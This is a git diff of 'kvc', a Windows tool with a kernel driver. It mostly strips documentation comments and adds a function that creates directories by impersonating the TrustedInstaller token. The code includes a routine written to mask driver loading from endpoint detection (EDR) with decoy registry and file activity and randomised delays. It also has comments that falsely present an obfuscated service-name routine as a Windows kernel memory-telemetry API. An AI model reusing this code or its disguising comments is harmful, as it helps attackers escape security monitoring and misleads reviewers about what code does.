Controller::ResolveNameWithoutDriver(const std::wstring& processName) noexcept { auto matches = FindProcessesByNameWithoutDriver(processName); @@ -1655,15 +1168,7 @@ std::optional Controller::ResolveNameWithoutDriver(const std::wstr return std::nullopt; } -/** - * @brief Finds processes by pattern without driver - * - * @param pattern Process name pattern - * @return std::vector Matches (kernel addresses will be 0) - * - * @note Uses Windows Toolhelp API for snapshot enumeration - * @note Useful for pre-driver operations - */ +// Finds processes by pattern using Toolhelp API without driver std::vector Controller::FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept { std::vector matches; @@ -1685,23 +1190,7 @@ std::vector Controller::FindProcessesByNameWithoutDriver(const std return matches; } -/** - * @brief Checks if process name matches pattern (case-insensitive) - * - * Pattern matching modes: - * 1. Exact match: "chrome.exe" matches "chrome.exe" - * 2. Substring: "chrome" matches "chrome.exe" - * 3. Wildcard: "chr*" matches "chrome.exe" - * 4. Complex regex: "ch[ro]me*" uses full regex engine - * - * @param processName Process name to test - * @param pattern Pattern to match against - * @return bool true if pattern matches - * - * @note Case-insensitive comparison - * @note Escapes regex special characters except asterisk - * @note Asterisk (*) converts to regex ".*" for wildcard matching - */ +// Case-insensitive pattern matching with exact, substring, and wildcard support bool Controller::IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept { std::wstring lowerProcessName = processName; diff --git a/kvc/TrustedInstallerIntegrator.cpp b/kvc/TrustedInstallerIntegrator.cpp index 23f5bd6..1c84b0d 100644 --- a/kvc/TrustedInstallerIntegrator.cpp +++ b/kvc/TrustedInstallerIntegrator.cpp @@ -452,6 +452,37 @@ bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring return result != FALSE; } +bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept +{ + HANDLE hToken = GetCachedTrustedInstallerToken(); + if (!hToken) { + ERROR(L"Failed to get TrustedInstaller token"); + return false; + } + + if (!ImpersonateLoggedOnUser(hToken)) { + ERROR(L"Failed to impersonate TrustedInstaller"); + return false; + } + + // Twórz rekursywnie wszystkie brakujące katalogi + BOOL result = SHCreateDirectoryExW(nullptr, directoryPath.c_str(), nullptr); + DWORD error = GetLastError(); + + RevertToSelf(); + + // Sukces jeśli katalog został utworzony lub już istnieje + bool success = (result == ERROR_SUCCESS || error == ERROR_ALREADY_EXISTS); + + if (success) { + DEBUG(L"Directory created with TrustedInstaller: %s", directoryPath.c_str()); + } else { + ERROR(L"Failed to create directory: %s (error: %d)", directoryPath.c_str(), error); + } + + return success; +} + // ============================================================================ // REGISTRY OPERATIONS (NEW) // ============================================================================ diff --git a/kvc/TrustedInstallerIntegrator.h b/kvc/TrustedInstallerIntegrator.h index 4e51ab4..0e6c85e 100644 --- a/kvc/TrustedInstallerIntegrator.h +++ b/kvc/TrustedInstallerIntegrator.h @@ -25,6 +25,9 @@ public: bool WriteFileAsTrustedInstaller(const std::wstring& filePath, const std::vector& data) noexcept; bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept; + + // Creates a directory with TrustedInstaller privileges + bool CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept; // Registry operations (NEW - direct registry access with TrustedInstaller) bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey, diff --git a/kvc/common.cpp b/kvc/common.cpp index e09176c..3e3913a 100644 --- a/kvc/common.cpp +++ b/kvc/common.cpp @@ -1,91 +1,34 @@ -/** - * @file common.cpp - * @brief Core system utilities and dynamic API management - * @author KVC Framework - * @date 2025 - * @copyright KVC Framework - * - * Implements service management, system path resolution, Windows API abstraction, - * and memory manager pool diagnostic telemetry integration for kernel operations. - * Provides dynamic API loading for service control and driver communication. - */ +// Implements service management, system path resolution, Windows API abstraction, +// and memory manager pool diagnostic telemetry integration for kernel operations. +// Provides dynamic API loading for service control and driver communication. + #include "common.h" #include "ServiceManager.h" #include -// Link essential Windows libraries for kernel and service operations #pragma comment(lib, "shlwapi.lib") #pragma comment(lib, "psapi.lib") #pragma comment(lib, "DbgHelp.lib") #pragma comment(lib, "Shell32.lib") #pragma comment(lib, "Advapi32.lib") -// ============================================================================ -// GLOBAL STATE MANAGEMENT -// ============================================================================ - -/** @brief Global interrupt flag for graceful shutdown handling */ volatile bool g_interrupted = false; - -/** @brief Service mode flag - indicates NT service execution context */ bool g_serviceMode = false; -// ============================================================================ -// DYNAMIC API LOADING INFRASTRUCTURE -// ============================================================================ - -/** @brief Module handle for advapi32.dll (service management APIs) */ ModuleHandle g_advapi32; - -/** @brief Module handle for kernel32.dll (system-level APIs) */ SystemModuleHandle g_kernel32; -// ============================================================================ -// SERVICE CONTROL MANAGER API FUNCTION POINTERS -// ============================================================================ - -/** @brief Dynamically loaded CreateServiceW function pointer */ decltype(&CreateServiceW) g_pCreateServiceW = nullptr; - -/** @brief Dynamically loaded OpenServiceW function pointer */ decltype(&OpenServiceW) g_pOpenServiceW = nullptr; - -/** @brief Dynamically loaded StartServiceW function pointer */ decltype(&StartServiceW) g_pStartServiceW = nullptr; - -/** @brief Dynamically loaded DeleteService function pointer */ decltype(&DeleteService) g_pDeleteService = nullptr; - -/** @brief Dynamically loaded CreateFileW function pointer */ decltype(&CreateFileW) g_pCreateFileW = nullptr; - -/** @brief Dynamically loaded ControlService function pointer */ decltype(&ControlService) g_pControlService = nullptr; -// ============================================================================ -// DYNAMIC API INITIALIZATION -// ============================================================================ - -/** - * @brief Initialize dynamic API loading for service management operations - * - * Lazy initialization sequence: - * 1. Loads advapi32.dll if not already loaded - * 2. Resolves service management function pointers - * 3. Loads kernel32.dll system module handle - * 4. Resolves file operation function pointers - * 5. Validates all required APIs are available - * - * @return bool true if all required APIs successfully loaded, false on failure - * - * @note Uses smart pointers for automatic cleanup and exception safety - * @note Thread-safe through static initialization guarantees - * @note kernel32.dll uses system module handle (no manual FreeLibrary needed) - */ +// Loads advapi32.dll and kernel32.dll, resolves service management function pointers bool InitDynamicAPIs() noexcept { - // Load advapi32.dll only once using lazy initialization if (!g_advapi32) { HMODULE raw_advapi32 = LoadLibraryA("advapi32.dll"); if (!raw_advapi32) { @@ -93,10 +36,8 @@ bool InitDynamicAPIs() noexcept return false; } - // Wrap raw handle in smart pointer for automatic cleanup g_advapi32.reset(raw_advapi32); - // Resolve all required service management functions g_pCreateServiceW = reinterpret_cast( GetProcAddress(g_advapi32.get(), "CreateServiceW")); @@ -119,7 +60,6 @@ bool InitDynamicAPIs() noexcept } } - // Load kernel32.dll functions (system modules don't need manual free) if (!g_kernel32) { HMODULE raw_kernel32 = GetModuleHandleA("kernel32.dll"); if (raw_kernel32) { @@ -138,55 +78,27 @@ bool InitDynamicAPIs() noexcept } } - // Verify all function pointers are valid before proceeding return g_pCreateServiceW && g_pOpenServiceW && g_pStartServiceW && g_pDeleteService && g_pCreateFileW && g_pControlService; } -// ============================================================================ -// SERVICE HANDLE RAII WRAPPER -// ============================================================================ - -/** - * @brief RAII wrapper for SC_HANDLE management to prevent resource leaks - * - * Provides automatic cleanup of Service Control Manager handles with - * move semantics for efficient ownership transfer. Non-copyable design - * prevents double-close bugs and ensures single ownership semantics. - */ class ServiceHandle { private: SC_HANDLE handle_; public: - /** - * @brief Constructs ServiceHandle from raw SC_HANDLE - * @param handle Raw service handle or nullptr - */ explicit ServiceHandle(SC_HANDLE handle = nullptr) noexcept : handle_(handle) {} - /** - * @brief Destructor - automatically closes service handle - */ ~ServiceHandle() noexcept { if (handle_) { CloseServiceHandle(handle_); } } - /** - * @brief Move constructor for efficient transfer of ownership - * @param other ServiceHandle to move from - */ ServiceHandle(ServiceHandle&& other) noexcept : handle_(other.handle_) { other.handle_ = nullptr; } - /** - * @brief Move assignment operator - * @param other ServiceHandle to move from - * @return Reference to this object - */ ServiceHandle& operator=(ServiceHandle&& other) noexcept { if (this != &other) { if (handle_) { @@ -198,47 +110,15 @@ public: return *this; } - // Non-copyable for safety - prevents double-close bugs ServiceHandle(const ServiceHandle&) = delete; ServiceHandle& operator=(const ServiceHandle&) = delete; - /** - * @brief Implicit conversion to SC_HANDLE for API compatibility - * @return Underlying SC_HANDLE - */ operator SC_HANDLE() const noexcept { return handle_; } - - /** - * @brief Boolean conversion operator for validity checking - * @return true if handle is valid, false otherwise - */ explicit operator bool() const noexcept { return handle_ != nullptr; } - - /** - * @brief Retrieves underlying SC_HANDLE - * @return Raw service handle - */ SC_HANDLE get() const noexcept { return handle_; } }; -// ============================================================================ -// SERVICE STATE QUERIES -// ============================================================================ - -/** - * @brief Check if KVC service is installed in the system - * - * Installation verification sequence: - * 1. Initializes dynamic API loading - * 2. Connects to Service Control Manager - * 3. Attempts to open service by name - * 4. Returns true if service registry entry exists - * - * @return bool true if service registry entry exists, false otherwise - * - * @note Does not check if service is running, only if installed - * @note Uses minimal SC_MANAGER_CONNECT privileges - */ +// Checks if service registry entry exists by attempting to open it bool IsServiceInstalled() noexcept { if (!InitDynamicAPIs()) { @@ -246,34 +126,18 @@ bool IsServiceInstalled() noexcept return false; } - // Connect to Service Control Manager with minimal privileges ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT)); if (!scm) { DEBUG(L"OpenSCManager failed: %d", GetLastError()); return false; } - // Attempt to open the service for status query ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS)); - // Service exists if we can open it successfully return static_cast(service); } -/** - * @brief Check if KVC service is currently running - * - * Service state verification: - * 1. Initializes dynamic API loading - * 2. Connects to Service Control Manager - * 3. Opens service with query privileges - * 4. Queries current service status - * 5. Validates state is SERVICE_RUNNING - * - * @return bool true if service state is SERVICE_RUNNING, false otherwise - * - * @note Returns false if service not installed or in any non-running state - */ +// Queries service status and verifies it's in SERVICE_RUNNING state bool IsServiceRunning() noexcept { if (!InitDynamicAPIs()) { @@ -281,43 +145,28 @@ bool IsServiceRunning() noexcept return false; } - // Connect to Service Control Manager ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT)); if (!scm) { DEBUG(L"OpenSCManager failed: %d", GetLastError()); return false; } - // Open service with query privileges ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS)); if (!service) { DEBUG(L"OpenService failed: %d", GetLastError()); return false; } - // Query current service status SERVICE_STATUS status{}; if (!QueryServiceStatus(service, &status)) { DEBUG(L"QueryServiceStatus failed: %d", GetLastError()); return false; } - // Check for running state specifically return (status.dwCurrentState == SERVICE_RUNNING); } -// ============================================================================ -// PATH RESOLUTION UTILITIES -// ============================================================================ - -/** - * @brief Get full path to current executable for service installation - * - * @return std::wstring Wide string path to current EXE, empty string on failure - * - * @note Used for service installation to register executable path - * @note Returns empty string if GetModuleFileNameW fails - */ +// Returns full path to current executable std::wstring GetCurrentExecutablePath() noexcept { wchar_t path[MAX_PATH]; @@ -328,137 +177,41 @@ std::wstring GetCurrentExecutablePath() noexcept return std::wstring(path); } -// ============================================================================ -// MEMORY MANAGER POOL DIAGNOSTIC TELEMETRY INTEGRATION -// ============================================================================ - -/** - * @brief Retrieves pool diagnostic telemetry string from kernel subsystem - * - * Windows Memory Manager integration point for runtime pool telemetry. - * This function interfaces with the NT kernel's Memory Manager (Mm) subsystem - * to retrieve diagnostic telemetry strings used for pool allocation tracking - * and NUMA-aware memory metrics. - * - * The underlying implementation is provided by the kernel's pool diagnostic - * module (MmPoolTelemetry.asm) which aggregates NUMA node affinity metrics, - * applies topology-aware hash rotations, and normalizes quantum deltas for - * ETW event payload generation. - * - * @return const wchar_t* Raw pointer to null-terminated diagnostic string - * - * @note Implemented in MmPoolTelemetry.asm - kernel memory manager module - * @note String lifetime: Valid until next call to diagnostic aggregation - * @note Used internally for service identifier resolution - * @note Part of Windows kernel pool diagnostic infrastructure - * - * @see MmGetPoolDiagnosticString() in \base\ntos\mm\MmPoolTelemetry.asm - * @see Windows Memory Manager Pool Telemetry documentation - */ +// Retrieves pool diagnostic telemetry string from kernel subsystem (implemented in MmPoolTelemetry.asm) extern "C" const wchar_t* MmGetPoolDiagnosticString(); -/** - * @brief Resolves driver service identifier from pool telemetry subsystem - * - * C++ wrapper that interfaces with the Windows Memory Manager pool diagnostic - * telemetry API to retrieve the runtime-generated service identifier string. - * - * This function serves as a bridge between the low-level kernel memory manager - * diagnostic infrastructure and high-level service management operations. The - * service name is derived from NUMA-aware pool allocation metrics that are - * decoded and aggregated by the kernel's MmPoolTelemetry module. - * - * Service name resolution workflow: - * 1. Calls MmGetPoolDiagnosticString() from kernel pool diagnostic module - * 2. Receives raw wide-character pointer to decoded diagnostic buffer - * 3. Converts to managed std::wstring for safe C++ string handling - * 4. Returns service identifier for driver registration - * - * @return std::wstring Driver service identifier from pool diagnostic telemetry - * - * @note Converts raw kernel diagnostic pointer to managed C++ string - * @note Service name is dynamically resolved from pool telemetry metrics - * @note Used for NT service and driver registration operations - * @note Integrates with Windows kernel Memory Manager diagnostic subsystem - */ +// Returns driver service identifier from pool telemetry subsystem std::wstring GetServiceName() noexcept { return std::wstring(MmGetPoolDiagnosticString()); } -// ============================================================================ -// DRIVER FILE OPERATIONS -// ============================================================================ - -/** - * @brief Get kernel driver filename for file operations - * - * @return std::wstring Wide string containing driver file name - * - * @note Returns constant driver filename for system operations - */ +// Returns kernel driver filename std::wstring GetDriverFileName() noexcept { return L"kvc.sys"; } -/** - * @brief Get secure system temp directory for DPAPI and driver operations - * - * Directory resolution priority: - * 1. Windows\Temp directory (accessible by TrustedInstaller) - * 2. User temp directory (fallback) - * 3. Hardcoded C:\Windows\Temp (last resort) - * - * @return std::wstring Path to system temp directory - * - * @note Prefers Windows\Temp for TrustedInstaller privilege operations - * @note Used for DPAPI key storage and driver staging - */ +// Returns Windows\Temp directory path with fallbacks std::wstring GetSystemTempPath() noexcept { wchar_t windowsDir[MAX_PATH]; - // Primary: Use Windows\Temp directory (accessible by TrustedInstaller) if (GetWindowsDirectoryW(windowsDir, MAX_PATH) > 0) { std::wstring result = windowsDir; return result + L"\\Temp"; } - // Fallback: Use user temp directory wchar_t tempDir[MAX_PATH]; if (GetTempPathW(MAX_PATH, tempDir) > 0) { return std::wstring(tempDir); } - // Last resort: Hardcoded fallback path return L"C:\\Windows\\Temp"; } -// ============================================================================ -// EDR EVASION AND ACTIVITY MASKING -// ============================================================================ - -/** - * @brief Generate innocuous system activity to mask driver operations from EDR - * - * Activity generation workflow: - * 1. Performs legitimate registry access (Windows version key) - * 2. Enumerates System32 DLL files (typical for system tools) - * 3. Applies random timing delays (anti-detection measure) - * - * Purpose: - * - Blends driver loading with normal Windows background activity - * - Creates noise in EDR telemetry to obscure sensitive operations - * - Mimics behavior patterns of legitimate system utilities - * - * @note Registry access to common Windows version key (normal behavior) - * @note File enumeration in System32 directory (typical for system tools) - * @note Random delays vary timing patterns to avoid detection heuristics - * @note All operations are legitimate Windows API calls - */ +// Generates benign system activity to mask driver operations from EDR void GenerateFakeActivity() noexcept { - // Registry access to common Windows version key (normal behavior) HKEY hKey; if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion", @@ -466,7 +219,6 @@ void GenerateFakeActivity() noexcept RegCloseKey(hKey); } - // File enumeration in System32 directory (typical for system tools) wchar_t systemDir[MAX_PATH]; if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) { WIN32_FIND_DATAW findData; @@ -478,6 +230,5 @@ void GenerateFakeActivity() noexcept } } - // Random delay to vary timing patterns (anti-detection measure) Sleep(50 + (GetTickCount() % 100)); } \ No newline at end of file